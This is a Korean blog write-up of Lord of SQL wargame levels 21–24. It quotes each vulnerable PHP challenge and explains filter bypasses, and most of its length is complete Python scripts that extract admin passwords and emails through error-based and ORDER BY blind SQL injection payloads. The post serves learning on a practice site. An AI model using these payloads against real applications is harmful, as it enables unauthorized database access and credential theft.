Home Lord Of SQL (21번~24번)
Post
Cancel

Lord Of SQL (21번~24번)

LOS 21~24번

48문제중 절반인 24번까지 클리어했다.
25번을 계속 붙잡고 있었는데.. 안 풀려서 공부를 더 하고 해야겠다.

21번 iron_golem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

계속 풀어왔던 blind SQLi와 닮아 있지만 참과 거짓을 판단할 때 쓸 hello 구문이 없다.
이럴 때는 time based나 error based를 사용하는데 sleep, benchmark를 막아놨으므로 error based로 가본다.

1
if(mysqli_error($db)) exit(mysqli_error($db));

error가 발생하면 error 페이지를 출력하므로 sql 구문이 참일 때 에러가 발생하도록 만들면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests

my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 40):
    param = "?pw=1' or if(length(pw) = " + str(length) + ", (select 1 union select 2), 1)%23"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("return") > 0:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    for a in abc:
        # MID + CHAR로 우회
        param = f"?pw=1' or id='admin' and if(ascii(mid(pw,{i},1))={ord(a)}, (select 1 union select 2), 1)%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("return") > 0:
            print(f"{i}번째 char is: {a}")
            result += a
            break

print(f"\n=== Result ===")
print(f"admin pw: {result}")
1
if(length(pw) = " + str(length) + ", (select 1 union select 2), 1)

SQL에서 if 문은 IF(조건, 조건이 참일 때, 조건이 거짓일 때)로 작동한다.
이 때 반환 값은 1개를 기대하는데 select 1 union select 2는 결과가 2개의 Row로 이뤄진다.
그렇기에 Subquery returns more than 1 row 에러가 발생하고 이를 이용하면 된다.

22번 dark_eyes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

아까와 비슷한데 필터링으로 if, case, when, sleep, benchmark가 되어있다.
그리고 error가 발생하면 exit으로 빈 화면을 보여준다.

이것도 역시 select 1 union select 2 와 비슷한 아이디어로 우회가 가능하다.
select 1 union select (조건) 을 넣었을 때 참은 1이고 거짓은 0이기 때문에 뒤의 조건이 참일 때는 에러가 나지 않는다.
select 1 union select 1이 되기 때문이다.

이렇게 모두 찾을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests

my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 40):
    param = "?pw=' or id='admin' and (select 1 union select (length(pw) = " + str(length) + "))%23"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("php") > 0:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    for a in abc:
        # MID + CHAR로 우회
        param = f"?pw=' or id='admin' and (select 1 union select (ascii(mid(pw,{i},1))={ord(a)}))%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("php") > 0:
            print(f"{i}번째 char is: {a}")
            result += a
            break

print(f"\n=== Result ===")
print(f"admin pw: {result}")

23번 hell_fire

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

이번에는 id, email, score의 column 3개가 주어진다.

table은

1
2
admin      ****               200
rubiya 	rubiya805@gmail.cm    100

으로 되어있고, id를 기준으로 정렬하면 admin이 score를 기준으로 하면 rubiya가 올라온다.

그래서 order=if(1=1,1,3) 이렇게 해서 앞의 조건으로 blind sqli로 풀려고 했는데 안된다.
딱히 앞의 조건에 따라 값이 바뀌는 것 같지도 않아서 검색을 해보니까

order by [상수]

이것은 상수 번째 column을 기준으로 정렬하겠다는 의미로 1부터 시작해야 한다.
column은 1번부터 시작하기에 만약 order by 0으로 하면 오류가 발생하는데

order by [표현식]

그런데 order by if(1=1, 0, 0) 이 쿼리를 했을 때 정상적으로 수행이 된다.
조건이 무조건 참이니까 0이 선택되고 오류가 나는 것을 기대했지만 그렇지 않다는 것이다.

https://jwcs.tistory.com/83

블로그를 읽어보면 order by if(조건, a, b)의 형식은 조건이 참인 행에 대해 우선순위 a
거짓인 행은 우선순위 b를 주는 쿼리라고 한다.

image

image

이렇게 length(id)=6인 행에 우선순위 3을 주면 rubiya가 위로 올라오고
반대로 length(id)=6이 아닌 행에 3을 주면 admin이 위로 올라온다.

이를 이용해서 email의 길이는 구할 수 있겠지만 내용을 구하는데에 있어서 귀찮아질 것 같다.
또, 같은 글자가 겹칠 때 어떻게 처리할지도 어려울 것 같아서 다른 방법으로 틀었다.


그래서 위의 방법을 조금 변경한 것이다.

order by if(1=1, 0, 0)와 같은 방법은 제대로 column을 선택하지 못하지만
order by if(1=1, ‘id’, ‘score’) 처럼 하면 앞의 조건에 따라 id와 score를 기준으로 볼 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests

my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 60):
    param = f"?order=if(id='admin' and length(email)={str(length)},'id','score')"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("</tr><tr><td>rubiya") > 0:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    for a in range(32, 127):
        # MID + CHAR로 우회
        param = f"?order=if(id='admin' and (ascii(mid(email,{i},1))={a}),'id','score')"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("</tr><tr><td>rubiya") > 0:
            print(f"{i}번째 char is: {chr(a)}")
            result += chr(a)
            break

print(f"\n=== Result ===")
print(f"admin pw: {result}")

rubiya 행이 밑으로 내려가는 경우를 생각해서 조건을 맞춰주면 된다.

24번 evil_wizard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

23번 문제와 거의 달라진 것이 없다.

하지만 데이터가 admin의 score가 rubiya보다 작으므로 아까와 같이 id와 score를 기준으로 나눌 수는 없었다.
그렇기에 ‘1 ASC’,’1 DESC’로 오름차 내림차로 비교를 하면 같은 아이디어로 풀 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests

my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
abc = string.digits + string.ascii_letters

print("=== Step 1: Finding admin pw length ===")
idLength = 0

for length in range(1, 60):
    param = f"?order=if(id='admin' and length(email)={str(length)},'1 ASC','1 DESC')"
    new_url = url + param
    res = requests.get(new_url, cookies=my_cookies)
    
    if res.text.find("</tr><tr><td>rubiya") > 0:
        idLength = length
        print(f"admin pw length: {idLength}")
        break

if idLength == 0:
    print("Length not found!")
    exit()

print("\n=== Step 2: Finding admin pw ===")
result = ""

for i in range(1, idLength + 1):
    for a in range(32, 127):
        # MID + CHAR로 우회
        param = f"?order=if(id='admin' and (ascii(mid(email,{i},1))={a}),'1 ASC','1 DESC')"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("</tr><tr><td>rubiya") > 0:
            print(f"{i}번째 char is: {chr(a)}")
            result += chr(a)
            break

print(f"\n=== Result ===")
print(f"admin pw: {result}")
This post is written by PRO.